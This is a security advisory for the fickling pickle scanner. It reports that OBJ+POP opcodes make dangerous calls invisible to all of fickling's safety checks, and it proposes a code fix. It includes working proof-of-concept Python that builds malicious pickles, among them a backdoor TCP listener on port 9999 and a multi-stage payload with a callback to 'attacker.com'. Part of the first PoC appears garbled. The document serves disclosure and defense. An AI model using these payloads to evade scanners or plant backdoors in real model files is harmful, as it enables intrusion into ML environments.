GHSA-mxhj-88fx-4pcv: Fickling: OBJ opcode call invisibility bypasses all safety checks
Assessment The interpreter so it behaves closer to CPython when dealing with OBJ, NEWOBJ, and NEWOBJEX opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a). Original report Summary All 5 of fickling's safety interfaces -- islikelysafe(), checksafety(), CLI --check-safety, alwayschecksafety(), and the checksafety() context manager -- report LIKELYSAFE / raise no exceptions…
Published Feb 24, 2026
Affected packages
fickling
- Ecosystem
- PyPI
- Affected
- < 0.1.8
- Fixed in
- 0.1.8
- Check
pip show fickling
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Assessment
The interpreter so it behaves closer to CPython when dealing with OBJ, NEWOBJ, and NEWOBJ_EX opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a).
Original report
Summary
All 5 of fickling's safety interfaces -- is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager -- report LIKELY_SAFE / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via new_variable(). When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes.
This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.
Details
The vulnerability is a single missing new_variable() call in Obj.run() (fickle.py:1333-1350).
REDUCE (fickle.py:1286-1301) correctly persists calls to the AST:
# Line 1300: call IS saved to module_body
var_name = interpreter.new_variable(call)
interpreter.stack.append(ast.Name(var_name, ast.Load()))The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used."
OBJ (fickle.py:1333-1350) does exactly what that comment warns against:
# Line 1348: call is ONLY on the stack, NOT in module_body
interpreter.stack.append(ast.Call(kls, args, []))When the OBJ result is discarded by POP, the ast.Call is gone. The decompiled AST shows the import but no function call:
from smtplib import SMTP # import present (from STACK_GLOBAL)
result = None # no call to SMTP visibleYet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.
NEWOBJ (fickle.py:1411-1420) and NEWOBJ_EX (fickle.py:1423-1433) have the same code pattern but are less exploitable since CPython's NEWOBJ calls cls.__new__() (allocation only) while OBJ calls cls(*args) (full constructor execution with __init__ side effects).
Affected versions
All versions through 0.1.7 (latest as of 2026-02-19).
Affected APIs
fickling.is_likely_safe()- returnsTruefor bypass payloadsfickling.analysis.check_safety()- returnsAnalysisResultswithseverity = Severity.LIKELY_SAFEfickling --check-safetyCLI - exits with code 0fickling.always_check_safety()+pickle.load()- noUnsafeFileErrorraised, malicious code executesfickling.check_safety()context manager +pickle.load()- noUnsafeFileErrorraised, malicious code executes
PoC
A pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as LIKELY_SAFE:
import io, struct
def sbu(s):
"""SHORT_BINUNICODE opcode helper."""
b = s.encode()
return b"\x8c" + struct.pack(" call GONE)
NONE
STOP
"""
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
payload.write(b"(") # MARK
payload.write(sbu("smtplib") + sbu("SMTP")) # push module + func strings
payload.write(b"\x93") # STACK_GLOBAL
payload.write(sbu("127.0.0.1")) # push argument
payload.write(b"o") # OBJ: call SMTP('127.0.0.1')
payload.write(b"0") # POP: discard result
payload.write(b"N.") # NONE + STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
import fickling, tempfile, os
data = make_obj_pop_bypass()
path = os.path.join(tempfile.mkdtemp(), "bypass.pkl")
with open(path, "wb") as f:
f.write(data)
print(fickling.is_likely_safe(path))
# Output: True <-- BYPASSED (network connection invisible to fickling)fickling decompiles this to:
from smtplib import SMTP
result = NoneYet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.
CLI verification:
$ fickling --check-safety bypass.pkl; echo "EXIT: $?"
EXIT: 0 # BYPASSEDComparison with REDUCE (same function, detected):
$ fickling --check-safety reduce_smtp.pkl; echo "EXIT: $?"
Warning: Fickling detected that the pickle file may be unsafe.
EXIT: 1 # DETECTEDBackdoor listener PoC (most impactful)
A pickle that opens a TCP listener on port 9999, binding to all interfaces:
import io, struct
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
def binint(n):
return b"J" + struct.pack("<i", n)
def make_backdoor():
buf = io.BytesIO()
buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME
payload = io.BytesIO()
# OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler)
payload.write(b"(") # MARK
payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93") # STACK_GLOBAL
payload.write(b"(") # MARK (inner tuple)
payload.write(sbu("0.0.0.0")) # host
payload.write(binint(9999)) # port
payload.write(b"t") # TUPLE
payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93") # handler
payload.write(b"o") # OBJ
payload.write(b"0") # POP
payload.write(b"N.") # NONE + STOP
frame_data = payload.getvalue()
buf.write(struct.pack("<Q", len(frame_data)))
buf.write(frame_data)
return buf.getvalue()
import fickling
data = make_backdoor()
with open("/tmp/backdoor.pkl", "wb") as f:
f.write(data)
print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True <-- BYPASSED
import pickle, socket
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces
s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!") # succeeds
s.close()
server.server_close()Multi-stage combined PoC
A single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:
# All four operations in one pickle, all invisible to fickling:
# 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown
# 2. socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) - backdoor
# 3. smtplib.SMTP('attacker.com') - C2 callback
# 4. sqlite3.connect('/tmp/.marker') - persistence marker
# fickling reports: LIKELY_SAFE
# All 4 operations execute at runtime`always_check_safety()` verification:
import fickling, pickle
fickling.always_check_safety()
with open("poc_obj_multi.pkl", "rb") as f:
result = pickle.load(f)
# No UnsafeFileError raised -- all 4 malicious operations executedImpact
An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts:
- Backdoor network listener:
socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)opens a port on all interfaces. The TCPServer constructor callsserver_bind()andserver_activate(), so the port is open immediately afterpickle.loads()returns. - Process persistence:
signal.signal(SIGTERM, SIG_IGN)makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the backdoor stays alive for 30+ seconds per restart attempt. - Outbound exfiltration:
smtplib.SMTP('attacker.com')opens an outbound TCP connection. The attacker's server learns the victim's IP and hostname. - File creation on disk:
sqlite3.connect(path)creates a file at an attacker-chosen path.
A single pickle combines all operations. In cloud ML environments, this enables persistent backdoor access while resisting graceful shutdown. This affects any application using fickling as a safety gate for ML model files.
The bypass works for any stdlib module NOT in fickling's UNSAFE_IMPORTS blocklist. Blocked modules (os, subprocess, socket, builtins, etc.) are still detected at the import level.
Suggested Fix
Add new_variable() to Obj.run() (lines 1348 and 1350), applying the same pattern used by Reduce.run() (line 1300):
# fickle.py, Obj.run():
- if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type):
- interpreter.stack.append(ast.Call(kls, args, []))
- else:
- interpreter.stack.append(ast.Call(kls, kls, []))
+ if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type):
+ call = ast.Call(kls, args, [])
+ else:
+ call = ast.Call(kls, kls, [])
+ var_name = interpreter.new_variable(call)
+ interpreter.stack.append(ast.Name(var_name, ast.Load()))Also apply to NewObj.run() (line 1414) and NewObjEx.run() (line 1426) for defense in depth.
Credited to yash2998chhabria.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesGHSA-5cxw-w2xg-2m8h
fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`
medium6.9Mar 13, 2026GHSA-r48f-3986-4f9c
fickling modules linecache, difflib and gc are missing from the unsafe modules blocklist
medium6.9Mar 13, 2026GHSA-5hwf-rc88-82xm
Fickling missing RCE-capable modules in UNSAFE_IMPORTS
high8.9Mar 4, 2026GHSA-wccx-j62j-r448
Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked
high8.9Mar 4, 2026GHSA-mhc9-48gj-9gp3
Fickling has safety check bypass via REDUCE+BUILD opcode sequence
medium5.3Feb 25, 2026GHSA-83pf-v6qq-pwmr
Fickling has a detection bypass via stdlib network-protocol constructors
low2.3Feb 20, 2026
